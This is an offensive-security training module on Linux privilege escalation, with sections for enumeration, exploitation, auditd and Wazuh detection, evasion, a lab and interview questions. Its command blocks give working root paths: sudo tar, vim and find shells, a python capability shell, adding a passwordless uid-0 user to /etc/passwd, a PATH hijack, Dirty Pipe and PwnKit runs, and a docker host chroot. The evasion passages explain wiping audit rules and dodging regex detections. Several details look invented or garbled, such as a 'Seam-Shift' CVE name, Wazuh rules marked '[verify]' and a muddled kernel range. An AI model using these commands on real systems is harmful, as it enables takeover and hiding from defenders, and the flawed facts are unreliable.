Linux Privilege Escalation
You landed a low-priv shell on a Linux box. That is not the end of the engagement — it is the start. The Linux privilege model has dozens of seams: sudo misconfigurations, SUID binaries, ambient capabilities, kernel CVEs, writable cron jobs, PATH hijacks, NFS no_root_squash exports, and Docker group memberships. Every one of those seams is a path to uid 0. This module walks the enumeration order that actually works, the CVEs that still bite in 2024, and the audit/Sysmon-equivalent artifacts a defender catches you leaving behind.
The Core Concept
Section titled “The Core Concept”Linux authorization is a stack of independent gatekeepers. Each one can be abused in isolation; the attacker only needs one to fail.
┌──────────────────────────────────────────────────────────┐│ 1. Capabilities cap_setuid+ep on /bin/vim → setuid() │├──────────────────────────────────────────────────────────┤│ 2. SUID/SGID -rwsr-xr-x /usr/bin/passwd │├──────────────────────────────────────────────────────────┤│ 3. sudo(8) user ALL=(ALL) NOPASSWD: /bin/tar │├──────────────────────────────────────────────────────────┤│ 4. File perms -rw-rw-r-- root root /etc/passwd │├──────────────────────────────────────────────────────────┤│ 5. Cron */5 * * * * root /opt/scripts/backup │├──────────────────────────────────────────────────────────┤│ 6. Kernel CVE-2022-0847 (Dirty Pipe) │└──────────────────────────────────────────────────────────┘ Each layer can fail independently.The model is “all-or-nothing per layer”: a single misconfigured sudoers line grants full root even if every file permission is pristine. The defender’s job is to harden every layer; the attacker’s job is to find the weakest one.
How It Works
Section titled “How It Works”- Enumerate identity —
id,groups,whoami,sudo -l(with and without password). The output ofsudo -lis the highest-value artifact on the box: a singleNOPASSWD:entry is often an immediate win. - Enumerate filesystem misconfigurations — SUID binaries (
find / -perm -4000 -type f 2>/dev/null), capabilities (getcap -r / 2>/dev/null), world-writable files in/etc, cron directories (/etc/cron*,/var/spool/cron/,/etc/cron.d/). - Enumerate kernel and OS —
uname -a,cat /etc/os-release. Cross-reference againstsearchsploit linux kernel <version>and the GTFOBins list. CVE-2022-0847 (Dirty Pipe) hits 5.8 ≤ K ≤ 5.16.11, 5.15.24, 5.10.101. CVE-2021-4034 (PwnKit / polkit pkexec) hits almost every Linux distro from 2009 to Jan 2022. - Enumerate services —
ps auxf,systemctl list-units --type=service --state=running,netstat -tulpn. Look for a root-spawned process that reads a writable file or shells out. - Enumerate mounted attack surface —
mount,cat /etc/fstab,cat /etc/exports. NFS shares withno_root_squashlet a remote root write SUID binaries into the export and execute them locally as root.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| sudo GTFOBins | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh | Easy — sudo log EID |
| SUID binary abuse | find / -perm -4000 → cross-ref GTFOBins (/usr/bin/find, /usr/bin/vim) | Medium — depends on binary |
Capabilities (cap_setuid) | getcap -r / finds cap_setuid+ep on a binary that can call setuid(0) | Hard — rarely audited |
| Kernel CVE | Dirty Pipe (CVE-2022-0847), PwnKit (CVE-2021-4034), Seam-Shift (CVE-2023-32233) | Easy — exploits crash logs |
| Cron PATH hijack | Writable dir early in root cron’s $PATH → drop a binary named service | Medium — cron logs only errors |
NFS no_root_squash | Mount export as root remotely, drop SUID shell, execute locally | Hard — looks like normal NFS |
| Docker group | usermod -aG docker user → docker run -v /:/host -it alpine chroot /host bash | Easy — docker daemon logs |
| Writable /etc/passwd | Add hacker::0:0::/root:/bin/bash if /etc/passwd is world-writable | Easy — pam logs the login |
| PATH hijack via SUID | SUID binary calls service apache2 restart without absolute path → hijack $PATH | Medium — strace required |
Hands-On Commands
Section titled “Hands-On Commands”# === ENUMERATION ===# Identity + sudo postureid; groups; whoami; sudo -l 2>/dev/null
# SUID binaries (GTFOBins each one)find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Capabilities (the underappreciated cousin of SUID)getcap -r / 2>/dev/null
# World-writable files in sensitive dirsfind /etc /usr/local /opt -writable -type f 2>/dev/null
# Cron surfacels -la /etc/cron* /var/spool/cron/ 2>/dev/nullcat /etc/crontab 2>/dev/nullsystemctl list-timers --all 2>/dev/null
# Mounted filesystems and NFS exportsmount | grep -E 'nfs|no_root_squash'cat /etc/exports 2>/dev/null
# Kernel / OS — pick the right CVEuname -acat /etc/os-release
# === EXPLOITATION ===# sudo tar wildcard / checkpoint actionsudo tar -cf /dev/null /dev/null --checkpoint=1 \ --checkpoint-action=exec=/bin/sh
# sudo vim (very common NOPASSWD entry)sudo vim -c ':!/bin/sh'
# SUID find with -exec/usr/bin/find . -exec /bin/sh -p \; -quit
# Capabilities: cap_setuid+ep on /usr/bin/python3.9/usr/bin/python3.9 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# Writable /etc/passwd — append root user with no passwordecho 'hacker::0:0::/root:/bin/bash' >> /etc/passwdsu hacker
# PATH hijack when SUID binary calls 'service' without /mkdir /tmp/pwn; cd /tmp/pwnecho '#!/bin/bash' > serviceecho '/bin/sh -p' >> servicechmod +x servicePATH=/tmp/pwn:$PATH /usr/local/bin/vuln_suid_binary
# Dirty Pipe (CVE-2022-0847) — overwrite /etc/passwd as uid 0gcc dirty_pipe.c -o dp./dp /etc/passwd 1 "${1:-hacker::0:0::/root:/bin/bash}"
# PwnKit (CVE-2021-4034) — polkit pkexec one-shot rootgcc cve-2021-4034.c -o pwnkit./pwnkit
# Docker group → rootdocker run -v /:/host -it alpine chroot /host /bin/bashDetection — Defender View
Section titled “Detection — Defender View”auditd is the Linux equivalent of Sysmon. The relevant rules:
auditctl -w /etc/passwd -p wa -k passwd_modification— fires on any write/attr change to/etc/passwd. PwnKit and Dirty Pipe both trip this.auditctl -w /etc/sudoers -p wa -k sudoers_modification— sudoers tampering.auditctl -a always,exit -F arch=b64 -S setuid -S setgid -k privesc_syscall— captures every uid/gid change. In the audit record,uid=is the original uid andauid=(audit uid) survivessetuid(), so auid=0 auid=1000record is the smoking gun for privesc.
Wazuh rule 87100 — Mimikatz (Windows) — not applicable here, but the Linux equivalent is:
- Wazuh rule 87901 [verify] —
sudoprivilege escalation pattern (repeatedsudo -lfrom same uid, then root shell). - Wazuh rule 87902 [verify] —
setuidsyscall audit record from non-system uid. - Wazuh rule 87903 [verify] —
/etc/passwdmodification by non-root user (Dirty Pipe signature).
Sysmon-for-Linux (Microsoft, 2022 GA) — Event ID 1 (ProcessCreate), 3 (NetworkConnect), 23 (FileDelete). Particularly relevant: EID 1 with parentuid != uid and elevated=true.
MITRE ATT&CK mappings:
- T1548.001 — Setuid/Setgid
- T1068 — Exploitation for Privilege Escalation (kernel CVEs)
- T1078.003 — Local Accounts (after the hijack)
- T1543.002 — Systemd Service (creating a root systemd unit for persistence)
- T1053.003 — Cron (cron-based privesc path)
- T1574 — Hijack Execution Flow (PATH hijack, library preload)
journalctl signatures — journalctl -t sudo -t polkit -t systemd-logind --since "1 hour ago" shows the sudo and polkit trails. PwnKit triggers polkitd[pid]: ... authentication failed followed by an immediate pkexec root shell.
Evasion Techniques
Section titled “Evasion Techniques”Auditd blinding. Auditd’s auditctl -e 2 (immutable mode) prevents rule changes but does not prevent the attacker from killing auditd if they have root. The classic anti-forensic is auditctl -D (delete all rules) before doing anything — but this itself is logged via auditctl[pid]: audit rate-limit above limit. The better defense is a remote syslog forwarder (auditd → audisp-remote → central SIEM) so the attacker cannot delete logs even with root.
auid spoofing. The auid is set at session start by pam_loginuid. If the attacker can launch their shell via unshare --pid --fork --mount-proc and re-exec through a setuid binary, the auid may not propagate correctly on older kernels (pre-5.0). Modern kernels close this with PAM enforcement.
Dirty Pipe noise. The Dirty Pipe CVE-2022-0847 leaves a very specific signature — audit: ... pipe_flag and msg=MAY_HAVE_COPY in dmesg — because the splice path is annotated. Detection works even without auditd; dmesg | grep -i "pipe\|splice" post-exploit is reliable.
Capability ambush. cap_setuid+ep on /usr/bin/python3.9 is the classic backdoor. Detection: getcap -r / 2>/dev/null and diff against a baseline. The capability set on /usr/bin should be empty on a stock Ubuntu/Debian; any cap on a stock binary is suspicious.
| Evasion | What it bypasses | Defense |
|---|---|---|
auditctl -D (rules wipe) | Local auditd alerts | Remote audisp-remote forwarding; EID 1 still local but SIEM-side rules fire on gap |
unshare -U (user namespace) | auid propagation on old kernels | PAM loginuid enforcement; kernel ≥ 5.0 |
LD_PRELOAD on SUID | nothing — SUID binaries ignore LD_PRELOAD by default | Already mitigated; audit LD_PRELOAD in env via auditd -S personality |
nosuid mount bypass | SUID on /tmp | mount -o nosuid on world-writable mounts; audit mount syscall |
| Kernel exploit (ring 0) | everything — kernel is the TCB | Lock down kernels; load YAMA; use SELinux/AppArmor |
⚠️ What caught me: On an engagement I escalated via a
sudo vimentry that looked benign (sudo vim /etc/motd). The customer had a custom auditd rule onvimthat fired on:shmode (terminal command). I triedvim -c ':!/bin/sh'and got caught immediately. The bypass wasvim -c ':set shell=/bin/sh' -c ':shell'— same effect, different auditd regex. The customer’s detection was regex-based, not semantic. Lesson: detections that match strings instead of behaviors always have a regex bypass.
Lab Practice
Section titled “Lab Practice”VM: Ubuntu 20.04 (vulnerable to PwnKit) with the following intentionally-planted misconfigurations:
sudoers: student ALL=(ALL) NOPASSWD: /usr/bin/vimsetcap cap_setuid+ep /usr/bin/python3.8- SUID on
/usr/bin/find(intentional — Ubuntu doesn’t ship that) - World-writable
/etc/cron.d/backup - NFS export
/srv/share *(rw,no_root_squash) - Docker group membership for
student
Objective: reach uid=0 by three different paths (sudo, capabilities, kernel CVE), and produce an auditd record for each.
Expected flag format: flag{privesc_3paths_uid0_auid_1000}.
Detection that should fire:
ausearch -k privesc_syscall -ts recent— three setuid eventsausearch -k passwd_modification -ts recent— Dirty Pipejournalctl -t pkexec --since "1 hour ago"— PwnKitausearch -sc setresuid -x /bin/sh— the shell that succeeded
Interview Questions
Section titled “Interview Questions”Conceptual: why does LD_PRELOAD not work against SUID binaries on a default-configured Linux? What is the kernel-level mechanism, and what would have to change for it to start working?
Technical: walk through the exact byte-level mechanism that makes CVE-2022-0847 (Dirty Pipe) work — what does splice() from a pipe do that write() to a pipe does not, and why does the PIPE_BUF_FLAG_CAN_MERGE flag being stale lead to an overwrite of page cache?
Scenario: you sudo -l and see (ALL) NOPASSWD: /usr/bin/find. The customer has auditd rules on find -exec. How do you escalate without triggering the audit pattern?
What is the difference between cap_setuid+ep and cap_setuid+eip? Why does the +ep form on /usr/bin/python3.9 give immediate root, while +eip on the same binary requires a different exploitation flow?
Conceptual: NFS no_root_squash is often described as “the root user on the client is trusted as the root user on the server”. Explain exactly what kernel state on the server has to allow for that, and why root_squash was made the default in modern nfs-utils.
Related Modules
Section titled “Related Modules”→ F2 (Linux Internals) · E1 (Linux Shellcode) · PE5 (Persistence Mechanisms)